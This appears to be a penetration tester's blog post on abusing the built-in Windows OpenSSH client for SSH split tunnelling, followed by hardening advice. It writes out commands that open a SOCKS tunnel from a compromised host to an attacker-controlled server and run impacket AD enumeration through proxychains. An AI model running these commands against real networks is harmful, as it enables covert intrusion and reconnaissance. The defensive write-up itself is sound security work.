Living off the land with native SSH and split tunnelling

TL;DR

• Attackers can use Microsoft native SSH client to forward out internal network traffic
• Windows native SSH is common
• The attack only needs minimal set-up and commands
• Quicker and more cost effective for an attacker than using C2 infrastructure
• Reduces likelihood of Blue team detection

Introduction

Lately I was involved in an assumed compromise project where stealth and simplicity was required, reducing the opportunity to use a sophisticated C2 infrastructure. We did note that the built-in Windows SSH client could make this simpler for us.

A simple SSH Split Tunnelling attack is not a new technique at all, but worth mentioning since several organisations still permit the client and the consequences can be quite detrimental.

Starting with Windows 10 version 1809 (released in October 2018), Microsoft introduced a native SSH client to Windows, which allows users to connect to SSH servers directly from the Windows command prompt or PowerShell. This SSH client is a port of OpenSSH. Ever since, we’ve seen that many of our clients have this optional feature enabled by default.

One of the most useful SSH facilities is the ability to create a split tunnel using dynamic or reverse port forwarding. This means that an attacker could create a simple tunnel between the Windows systems and an attacker controlled server over the Internet.

Using dynamic port forwarding allows the attacker to run commands on their server with the traffic appearing to come from the compromised system.

This means that using only native tools, it would be possible to investigate the network and run tools whose clients may set off EDR (such as Bloodhound) without uploading anything to the compromised host.

Setting up the tunnel

Assuming that access has been achieved to a Windows host with Internet and domain access such as if there’s an unlocked Windows session a tunnel can be set up through SSH.

To reduce complexity, from now on when I say “Windows” I mean the compromised device, and “Kali” means the attacker’s server. Other operating systems are valid, YMMV.

First we need to generate an SSH key to minimise password prompts; using ed25519 keys produces a nice short key that you can even type across two systems:

ssh-keygen -t ed25519

Then we can copy the key to the Kali host and put it in .ssh/authorized_keys.

We can now use dynamic port forwarding to make a tunnel from the Windows host to the Kali host, by using either of the below commands:

ssh -D 9050 root@<kali’s IP address>
ssh -R 127.0.0.1:9050 root@<kali’s IP address>

This will set up a SOCKS proxy through the SSH tunnel, allowing any communication to be made to any destination host through that tunnel.

Running Commands

Now with the internal network traffic forwarded to the attacker’s externally hosted machine, it would be possible for them to run malicious commands from the Kali host using the tunnel.

To make this easy we can use the proxychains utility which will automatically push any communication through the SOCKS proxy. By default this will use the SOCKS proxy ports on the localhost (9050/tcp and 1080/tcp). This makes running a tool (e.g. impacket-GetADUsers) on the Kali box which runs on the target network as simple as:

proxychains impacket-GetADUsers -dc-ip 10.10.1.1 TESTDOMAIN/compromised:Password1

Recommendations

Remove or restrict access to SSH

The obvious route is to restrict access to the SSH command for all users who don’t have a business need, or to uninstall it from your default Windows build and use something like PuTTY instead.

Uninstalling it is straightforward. This is an example for a Windows 10 10.0.19045 N/A Build 19045 host:

Settings’ > ‘Apps’ > ‘Optional Features’ > Search for “OpenSSH” and hit Uninstall then reboot.

Figure 1: Removing OpenSSH Client on Optional features

However, even by doing so, SSH is still not completely removed, the OpenSSH directory remains in the C:/Windows/System32 directory and if you test it on command prompt the SSH access is still there.

Figure 2: OpenSSH directory on C:/Windows/System32 directory

To remove this directory you need an administrator command prompt. This is to take ownership and grant full control permissions, before removing the folder:

takeown /F C:\Windows\System32\OpenSSH /R /D Y
icacls C:\Windows\System32\OpenSSH /grant administrators:F /T
rmdir /s C:\Windows\System32\OpenSSH

And Voilá: ‘ssh’ is not recognised as an internal or external command, operable program or batch file anymore.

Figure 3: ‘ssh’ is not recognised as an internal or external command, operable program, or batch file

Is split tunnelling required?

The other route is to question whether split-tunnelling is desirable in your environment. Default routing (i.e. putting all traffic from a user’s laptop through the network once VPN has been connected) is more secure, but all Internet access from the laptop will go through your network.

Conclusion

Windows native SSH can be a convenient attack path IF an organisation doesn’t have the ability to block and monitor the forwarded internal traffic.

We were able to compromise a corporate domain with just native SSH and split tunnelling, available from the client environment. The holes in the cheese had to line up though. This could only happen because other configuration weaknesses within the AD environment were present.

So, consider the risk of running native SSH in your environment. A simple oversight could create a severe security flaw.